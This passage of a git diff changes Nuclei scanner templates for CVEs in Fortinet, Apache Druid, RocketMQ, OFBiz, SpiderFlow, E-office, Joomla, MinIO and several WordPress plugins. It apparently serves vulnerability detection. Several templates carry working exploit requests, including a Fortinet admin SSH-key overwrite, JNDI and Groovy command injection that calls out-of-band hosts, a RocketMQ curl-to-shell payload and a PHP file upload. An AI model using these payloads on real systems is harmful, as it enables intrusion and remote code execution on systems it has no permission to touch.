svpnlang. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities. + remediation: | + Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability. + reference: + - https://github.com/advisories/GHSA-9x76-78gc-r3m9 + - https://github.com/Docker-droid/H3C_SSL_VPN_XSS + - https://nvd.nist.gov/vuln/detail/CVE-2022-35416 + - https://github.com/ARPSyndicate/kenzer-templates + - https://github.com/bughunter0xff/recon-scanner + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-35416 + cwe-id: CWE-79 + epss-score: 0.00088 + epss-percentile: 0.36353 + cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: h3c + product: ssl_vpn + shodan-query: http.html_hash:510586239 + tags: cve,cve2022,xss,vpn,h3c + +http: + - raw: + - | + GET /wnm/login/login.json HTTP/1.1 + Host: {{Hostname}} + Cookie: svpnlang= + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 4a0a00473045022074bce49d1d622adb10be0856ef209bacb28fb427de7f38f426069ca664b036d9022100b2466c1b44507b4b58e6f7e6ee4ab7221f9307198493e54f23ca95f1fcfc9e73:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-40684.yaml b/nuclei-templates/CVE-2022/cve-2022-40684.yaml new file mode 100644 index 0000000000..e8e301003a --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-40684.yaml @@ -0,0 +1,70 @@ +id: CVE-2022-40684 + +info: + name: Fortinet - Authentication Bypass + author: Shockwave,nagli,carlosvieira + severity: critical + description: | + Fortinet contains an authentication bypass vulnerability via using an alternate path or channel in FortiOS 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy 7.2.0 and 7.0.0 through 7.0.6, and FortiSwitchManager 7.2.0 and 7.0.0. An attacker can perform operations on the administrative interface via specially crafted HTTP or HTTPS requests, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized operations. + impact: | + Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device. + remediation: | + Apply the necessary security patches or firmware updates provided by Fortinet to mitigate this vulnerability. + reference: + - https://github.com/horizon3ai/CVE-2022-40684/blob/master/CVE-2022-40684.py + - https://securityonline.info/researchers-have-developed-cve-2022-40684-poc-exploit-code/ + - https://socradar.io/what-do-you-need-to-know-about-fortinet-critical-authentication-bypass-vulnerability-cve-2022-40684/ + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40684 + - https://nvd.nist.gov/vuln/detail/CVE-2022-40684 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-40684 + cwe-id: CWE-287 + epss-score: 0.97217 + epss-percentile: 0.99817 + cpe: cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: fortinet + product: fortiproxy + tags: cve,cve2022,fortinet,fortigate,fortios,fortiproxy,auth-bypass,kev,intrusive + +http: + - raw: + - | + GET /api/v2/cmdb/system/admin HTTP/1.1 + Host: {{Hostname}} + User-Agent: Node.js + Forwarded: by="[127.0.0.1]:1337";for="[127.0.0.1]:1337";proto=http;host= + X-Forwarded-Vdom: root + - | + PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 + Host: {{Hostname}} + User-Agent: Report Runner + Content-Type: application/json + Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000; + Content-Length: 610 + + { + "ssh-public-key1":"{{randstr}}" + } + + stop-at-first-match: true + + matchers-condition: or + matchers: + - type: word + part: body_1 + words: + - ENC XXXX + - http_method + condition: and + + - type: word + part: body_2 + words: + - Invalid SSH public key. + - cli_error + condition: and +# digest: 4a0a00473045022100ecd342ecd1ddb863f225cc6136e9bc2bee1dd54adfdfe4bd199aae259088ce9902204ae159dde8793d19d05e1809870cd28bb6da2e7a9ce835bdb59a391acfd4000e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/CVE-2023-23752.yaml b/nuclei-templates/CVE-2023/CVE-2023-23752.yaml deleted file mode 100644 index 7d7b738f04..0000000000 --- a/nuclei-templates/CVE-2023/CVE-2023-23752.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2023-23752 - -info: - name: Joomla Webservice Endpoint access control - author: thecyberneh - description: An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints. - severity: high - tags: cves - -requests: - - method: GET - path: - - "{{BaseURL}}/api/index.php/v1/config/application?public=true" - - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "password" - - - type: word - part: body - words: - - "application" - - - type: word - part: body - words: - - "attributes" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2023/CVE-2023-25194.yaml b/nuclei-templates/CVE-2023/CVE-2023-25194.yaml new file mode 100644 index 0000000000..344fe9f3b0 --- /dev/null +++ b/nuclei-templates/CVE-2023/CVE-2023-25194.yaml @@ -0,0 +1,99 @@ +id: CVE-2023-25194 + +info: + name: Apache Druid Kafka Connect - Remote Code Execution + author: j4vaovo + severity: high + description: | + The vulnerability has the potential to enable a remote attacker with authentication to run any code on the system. This is due to unsafe deserialization that occurs during the configuration of the connector through the Kafka Connect REST API + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25194 + - https://nvd.nist.gov/vuln/detail/CVE-2023-25194 + - https://github.com/nbxiglk0/Note/blob/0ddc14ecd296df472726863aa5d1f0f29c8adcc4/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/Java/ApacheDruid/ApacheDruid%20Kafka-rce/ApacheDruid%20Kafka-rce.md#apachedruid-kafka-connect-rce + - http://packetstormsecurity.com/files/173151/Apache-Druid-JNDI-Injection-Remote-Code-Execution.html + - https://kafka.apache.org/cve-list + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2023-25194 + cwe-id: CWE-502 + epss-score: 0.91608 + epss-percentile: 0.98695 + cpe: cpe:2.3:a:apache:kafka_connect:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: apache + product: kafka_connect + shodan-query: html:"Apache Druid" + tags: packetstorm,cve,cve2023,apache,druid,kafka,rce,jndi,oast + +http: + - raw: + - | + POST /druid/indexer/v1/sampler?for=connect HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + { + "type":"kafka", + "spec":{ + "type":"kafka", + "ioConfig":{ + "type":"kafka", + "consumerProperties":{ + "bootstrap.servers":"127.0.0.1:6666", + "sasl.mechanism":"SCRAM-SHA-256", + "security.protocol":"SASL_SSL", + "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"rmi://{{interactsh-url}}:6666/test\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" + }, + "topic":"test", + "useEarliestOffset":true, + "inputFormat":{ + "type":"regex", + "pattern":"([\\s\\S]*)", + "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965", + "columns":[ + "raw" + ] + } + }, + "dataSchema":{ + "dataSource":"sample", + "timestampSpec":{ + "column":"!!!_no_such_column_!!!", + "missingValue":"1970-01-01T00:00:00Z" + }, + "dimensionsSpec":{ + + }, + "granularitySpec":{ + "rollup":false + } + }, + "tuningConfig":{ + "type":"kafka" + } + }, + "samplerConfig":{ + "numRows":500, + "timeoutMs":15000 + } + } + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "dns" + + - type: word + part: body + words: + - 'RecordSupplier' + + - type: status + status: + - 400 +# digest: 4a0a004730450220253e393d9460c536f32f54253122a4cbfbbb890af4cd35b91b95d10e1b94d6b8022100e0a025041c041e62a80292747511e4d1af8e4adbe51386321a14466077c090aa:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git "a/nuclei-templates/Other/E-office \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240-mobile_upload_save\357\274\210CVE-2023-2523\357\274\211.yaml" b/nuclei-templates/CVE-2023/CVE-2023-2523.yaml similarity index 100% rename from "nuclei-templates/Other/E-office \344\273\273\346\204\217\346\226\207\344\273\266\344\270\212\344\274\240-mobile_upload_save\357\274\210CVE-2023-2523\357\274\211.yaml" rename to nuclei-templates/CVE-2023/CVE-2023-2523.yaml diff --git a/nuclei-templates/CVE-2023/CVE-2023-28432.yaml b/nuclei-templates/CVE-2023/CVE-2023-28432.yaml deleted file mode 100644 index 19839d49a6..0000000000 --- a/nuclei-templates/CVE-2023/CVE-2023-28432.yaml +++ /dev/null @@ -1,60 +0,0 @@ -id: CVE-2023-28432 - -info: - name: MinIO Cluster Deployment - Information Disclosure - author: Mr-xn - severity: high - description: | - MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted. - impact: | - An attacker can gain unauthorized access to sensitive information stored in the MinIO cluster. - remediation: All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z. - reference: - - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q - - https://github.com/minio/minio/pull/16853/files - - https://github.com/golang/vulndb/issues/1667 - - https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json - - https://nvd.nist.gov/vuln/detail/CVE-2023-28432 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2023-28432 - cwe-id: CWE-200,NVD-CWE-noinfo - epss-score: 0.14173 - epss-percentile: 0.95219 - cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: minio - product: minio - shodan-query: title:"Minio Console" - fofa-query: app="Minio" - tags: cve,cve2023,minio,console,exposure,kev - -http: - - raw: - - |+ - POST /minio/bootstrap/v1/verify HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"MINIO_ROOT_PASSWORD":' - - '"MINIO_ROOT_USER":' - - '"MinioEnv":' - condition: or - - - type: word - part: header - words: - - 'text/plain' - - - type: status - status: - - 200 -# digest: 4a0a00473045022100cc34538c0cf40fb3489d8f091c41bcf45f66c43266a4c6a2136aef40acbe67b702200d93d6082e5e272bc01f1e8222ec9521c32be40f912837b32aa6c0e6dcd75a2f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/CVE-2023-33246.yaml b/nuclei-templates/CVE-2023/CVE-2023-33246.yaml deleted file mode 100644 index 88f8dd6ef4..0000000000 --- a/nuclei-templates/CVE-2023/CVE-2023-33246.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: CVE-2023-33246 - -info: - name: RocketMQ Broker - Remote Code Execution - author: unknown - severity: critical - description: For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. - reference: https://github.com/Le1a/CVE-2023-33246 - -tcp: - - inputs: - - data: "{{hex_decode('000000c7000000c37b22636f6465223a3130352c226578744669656c6473223a7b225369676e6174757265223a222f7535502f775a5562686a616e75344c4d2f557a45646f327532493d222c22746f706963223a22544257313032222c224163636573734b6579223a22726f636b65746d7132227d2c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a312c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3433337d')}}" - host: - - "{{Hostname}}" - matchers: - - type: regex - regex: - #"434" "V5_1_0" - - '"version":(0|[1-9]d{0,2}|4[0-2]d|43[0-4])' - extractors: - - type: regex - regex: - - '"brokerAddrs":.*?\}' \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/CVE-2023-35047.yaml b/nuclei-templates/CVE-2023/CVE-2023-35047.yaml deleted file mode 100644 index a8e1f1a930..0000000000 --- a/nuclei-templates/CVE-2023/CVE-2023-35047.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2023-35047 - -info: - name: "All Bootstrap Blocks <= 1.3.6 - Cross-Site Request Forgery to Plugin Settings Reset" - author: topscoder - severity: medium - description: "The All Bootstrap Blocks plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.3.6. This is due to missing nonce validation on the reset() function. This makes it possible for unauthenticated attackers to reset the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link." - reference: - - https://www.wordfence.com/threat-intel/vulnerabilities/id/4a7a15ab-4f13-4eb1-aeb5-143230308871?source=api-prod - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L - cvss-score: 6.5 - cve-id: CVE-2023-35047 - metadata: - fofa-query: "wp-content/plugins/all-bootstrap-blocks/" - google-query: inurl:"/wp-content/plugins/all-bootstrap-blocks/" - shodan-query: 'vuln:CVE-2023-35047' - tags: cve,wordpress,wp-plugin,all-bootstrap-blocks,medium - -http: - - method: GET - redirects: true - max-redirects: 3 - path: - - "{{BaseURL}}/wp-content/plugins/all-bootstrap-blocks/readme.txt" - - extractors: - - type: regex - name: version - part: body - group: 1 - internal: true - regex: - - "(?mi)Stable tag: ([0-9.]+)" - - - type: regex - name: version - part: body - group: 1 - regex: - - "(?mi)Stable tag: ([0-9.]+)" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "all-bootstrap-blocks" - part: body - - - type: dsl - dsl: - - compare_versions(version, '<= 1.3.6') diff --git a/nuclei-templates/Other/CVE_2023_49442.yaml b/nuclei-templates/CVE-2023/CVE-2023-49442.yaml similarity index 100% rename from nuclei-templates/Other/CVE_2023_49442.yaml rename to nuclei-templates/CVE-2023/CVE-2023-49442.yaml diff --git a/nuclei-templates/CVE-2023/CVE-2023-51467.yaml b/nuclei-templates/CVE-2023/CVE-2023-51467.yaml deleted file mode 100644 index 85d9a58b5f..0000000000 --- a/nuclei-templates/CVE-2023/CVE-2023-51467.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2023-51467 - -info: - name: Apache OFBiz < 18.12.11 - Remote Code Execution - author: your3cho - severity: critical - description: | - The vulnerability allows attackers to bypass authentication to achieve a simple Server-Side Request Forgery (SSRF) - reference: - - https://lists.apache.org/thread/9tmf9qyyhgh6m052rhz7lg9vxn390bdv - - https://www.openwall.com/lists/oss-security/2023/12/26/3 - - https://twitter.com/_0xf4n9x_/status/1740202435367543183 - - https://nvd.nist.gov/vuln/detail/CVE-2023-51467 - - https://issues.apache.org/jira/browse/OFBIZ-12873 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2023-51467 - cwe-id: CWE-918 - epss-score: 0.54475 - epss-percentile: 0.97354 - cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: apache - product: ofbiz - shodan-query: html:"OFBiz" - fofa-query: app="Apache_OFBiz" - tags: cve2023,cve,apache,ofbiz,rce - -http: - - raw: - - | - POST /webtools/control/ProgramExport;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - groovyProgram=import+groovy.lang.GroovyShell%3B%0A%0AString+expression+%3D+%22'nslookup+{{interactsh-url}}'.execute()%22%3B%0AGroovyShell+gs+%3D+new+GroovyShell()%3B%0Ags.evaluate(expression)%3B - - matchers-condition: and - matchers: - - type: word - part: interactsh_protocol - words: - - "dns" - - - type: word - part: header - words: - - 'OFBiz.Visitor=' -# digest: 4a0a004730450220639d50bb1c136f51bd9616ed67f1f2c99a8efc2e9df5055de966eb1d82f2b226022100e4a0f05b2ba7aea008f99b826c6ca3db2e89f7d5208f3dabcc18c8b862897c32:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/Cve-2023-23752.yaml b/nuclei-templates/CVE-2023/Cve-2023-23752.yaml new file mode 100644 index 0000000000..6d0fee1022 --- /dev/null +++ b/nuclei-templates/CVE-2023/Cve-2023-23752.yaml @@ -0,0 +1,60 @@ +id: CVE-2023-23752 + +info: + name: Joomla! Webservice - Password Disclosure + author: badboycxcc,Sascha Brendel + severity: medium + description: | + An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints. + impact: | + The vulnerability can lead to unauthorized access to user passwords, compromising the confidentiality of user accounts. + remediation: Upgrade to Joomla! version 4.2.8 or later. + reference: + - https://unsafe.sh/go-149780.html + - https://twitter.com/gov_hack/status/1626471960141238272/photo/1 + - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html + - https://nvd.nist.gov/vuln/detail/CVE-2023-23552 + - https://github.com/20142995/pocsuite3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2023-23752 + epss-score: 0.96314 + epss-percentile: 0.9944 + cpe: cpe:2.3:a:joomla:joomla\!:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: joomla + product: joomla\! + shodan-query: html:"Joomla! - Open Source Content Management" + tags: cve,cve2023,joomla,kev + +http: + - method: GET + path: + - '{{BaseURL}}/api/index.php/v1/config/application?public=true' + - '{{BaseURL}}/api/v1/config/application?public=true' + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"links":' + - '"attributes":' + condition: and + + - type: word + part: header + words: + - 'application/json' + - 'application/vnd.api+json' + condition: or + + - type: status + status: + - 200 +# digest: 4b0a00483046022100f1a8859b2be34845c6e9ff983c9ab9fc1741ee2e59af7319158de1e37c2002850221009b6444bdf0c4f9f9c9da30901088c17b893d690461a859cb5a97e2488a963ce2:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2023/cve-2023-2523.yaml b/nuclei-templates/CVE-2023/cve-2023-2523.yaml deleted file mode 100644 index 4b2a6d7baf..0000000000 --- a/nuclei-templates/CVE-2023/cve-2023-2523.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: cve-2023-2523 -info: - name: cve-2023-2523 - author: weehhd - severity: high - description: https://blog.csdn.net/qq_41904294/article/details/130832416 - reference: - - https:// - tags: tags -http: - - raw: - - "POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1\nHost:\ - \ {{Hostname}}\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows\ - \ NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0\ - \ Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n\ - Accept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7\n\ - Cookie: PHPSESSID=c4a1f7ccafd44c06a73b00c0149d2f54\nConnection: close\nContent-Type:multipart/form-data;\ - \ boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt \nContent-Length: 344\n\n\ - ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt\nContent-Disposition:form-data; name=\"\ - upload_quwan\"; filename=\"1.php.\"\nContent-Type:image/jpeg\n\n\n\ - ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt\nContent-Disposition:form-data; name=\"\ - file\"; filename=\"\"\nContent-Type:application/octet-stream\n\n\n------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--" - matchers-condition: and - matchers: - - type: word - part: body - words: - - 1.php - - type: word - part: header - words: - - HTTP/1.1 200 OK diff --git a/nuclei-templates/CVE-2023/cve-2023-33246.yaml b/nuclei-templates/CVE-2023/cve-2023-33246.yaml new file mode 100644 index 0000000000..9dcedde472 --- /dev/null +++ b/nuclei-templates/CVE-2023/cve-2023-33246.yaml @@ -0,0 +1,51 @@ +id: CVE-2023-33246 + +info: + name: RocketMQ <= 5.1.0 - Remote Code Execution + author: iamnoooob,rootxharsh,pdresearch + severity: critical + description: | + For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x . + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. + remediation: Update the RocketMQ application to version 5.1.1 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2023-33246 + - https://github.com/I5N0rth/CVE-2023-33246 + - http://packetstormsecurity.com/files/173339/Apache-RocketMQ-5.1.0-Arbitrary-Code-Injection.html + - http://www.openwall.com/lists/oss-security/2023/07/12/1 + - https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-33246 + cwe-id: CWE-94 + cpe: cpe:2.3:a:apache:rocketmq:*:*:*:*:*:*:*:* + epss-score: 0.95581 + metadata: + fofa-query: protocol="rocketmq" + max-request: 1 + product: rocketmq + shodan-query: title:"RocketMQ" + vendor: apache + verified: true + tags: network,cve2023,cve,rocketmq,rce,oast,intrusive,apache +variables: + part_a: '{{ hex_decode ("000000d2000000607b22636f6465223a32352c22666c6167223a302c226c616e6775616765223a224a415641222c226f7061717565223a302c2273657269616c697a655479706543757272656e74525043223a224a534f4e222c2276657273696f6e223a3339357d66696c7465725365727665724e756d733d310a726f636b65746d71486f6d653d2d632024407c7368202e206563686f206375726c20") }}' + part_b: '{{ hex_decode("3b0a") }}' +tcp: + - host: + - "{{Hostname}}" + port: 10911 + + inputs: + - data: '{{ part_a + "{{interactsh-url}}" + "/////////////" + part_b }}' + read: 1024 + read-size: 4 + matchers: + - type: dsl + dsl: + - contains(raw,'serializeTypeCurrentRPC') + - contains(interactsh_protocol,'dns') + condition: and +# digest: 4b0a00483046022100e0af9801d2c98178583d5c498c7a7d2867ea03929224d4f39369d99d32e25fd30221008d8ae25072043df87c3945421946121802b131f4b367841560c0c83c4ce11239:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-0195.yaml b/nuclei-templates/CVE-2024/CVE-2024-0195.yaml deleted file mode 100644 index 928e611dad..0000000000 --- a/nuclei-templates/CVE-2024/CVE-2024-0195.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2024-0195 - -info: - name: SpiderFlow爬虫平台RCE漏洞 - author: pipichen - severity: critical - description: SpiderFlow是新一代开源爬虫平台，以图形化方式定义爬虫流程，不写代码即可完成爬虫。基于springboot+layui开发的前后端不分离,也可以进行二次开发，因此收到很多人的喜欢，在gitee上有7.4K Star。该系统/function/save接口存在RCE漏洞，攻击者可以构造恶意命令远控服务器。 - metadata: - max-request: 1 - fofa-query: app="SpiderFlow" - verified: true - tags: cve,rce,others -requests: - - raw: - - |+ - POST /function/save HTTP/1.1 - Host: {{Hostname}} - Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Accept: */* - Accept-Encoding: gzip, deflate - X-Requested-With: XMLHttpRequest - - id=1&name=cmd¶meter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+{{interactsh-url}}')%3B%7B - - matchers: - - type: dsl - dsl: - - contains(interactsh_protocol, "dns") - condition: and -# digest: 4b0a00483046022100e6a1c51d9a3a25fc7a276bd9db3e68b3a9e9181be638bd0dbb4ce279e793f5c3022100a0f31cd5a1de4091f43018a3b6f4eae65d7a78309d12eea7930cdde047d29918:6b2dd5af372f02ed15a56faf8ad98cf9 \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-10268.yaml b/nuclei-templates/CVE-2024/CVE-2024-10268.yaml new file mode 100644 index 0000000000..6af9f70b02 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-10268.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-10268 + +info: + name: > + MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar <= 5.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via sonaar_audioplayer Shortcode + author: topscoder + severity: low + description: > + The MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's sonaar_audioplayer shortcode in all versions up to, and including, 5.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/861d0218-0f0f-4299-a0ff-854832348457?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-10268 + metadata: + fofa-query: "wp-content/plugins/mp3-music-player-by-sonaar/" + google-query: inurl:"/wp-content/plugins/mp3-music-player-by-sonaar/" + shodan-query: 'vuln:CVE-2024-10268' + tags: cve,wordpress,wp-plugin,mp3-music-player-by-sonaar,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/mp3-music-player-by-sonaar/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "mp3-music-player-by-sonaar" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.8') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-10388.yaml b/nuclei-templates/CVE-2024/CVE-2024-10388.yaml new file mode 100644 index 0000000000..d23b41c602 --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-10388.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-10388 + +info: + name: > + WordPress GDPR <= 2.0.2 - Unauthenticated Stored Cross-Site Scripting + author: topscoder + severity: high + description: > + The WordPress GDPR plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gdpr_firstname' and 'gdpr_lastname' parameters in all versions up to, and including, 2.0.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/bf707d9b-2b96-4d1b-b798-38f7fe958eaf?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cve-id: CVE-2024-10388 + metadata: + fofa-query: "wp-content/plugins/wordpress-gdpr/" + google-query: inurl:"/wp-content/plugins/wordpress-gdpr/" + shodan-query: 'vuln:CVE-2024-10388' + tags: cve,wordpress,wp-plugin,wordpress-gdpr,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wordpress-gdpr/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wordpress-gdpr" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.2') \ No newline at end of file diff --git a/nuclei-templates/CVE-2024/CVE-2024-10390.yaml b/nuclei-templates/CVE-2024/CVE-2024-10390.yaml new file mode 100644 index 0000000000..fbfdee6fcd --- /dev/null +++ b/nuclei-templates/CVE-2024/CVE-2024-10390.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-10390 + +info: + name: > + Elfsight Telegram Chat CC <= 1.1.0 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Elfsight Telegram Chat CC plugin for WordPress is vulnerable to unauthorized modification of data to a missing capability check on the 'updatePreferences' function in all versions up to, and including, 1.1.0. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/07244763-3482-4cfb-8ae4-d19f312011aa?source=api-prod + classification: + cvss-metrics: 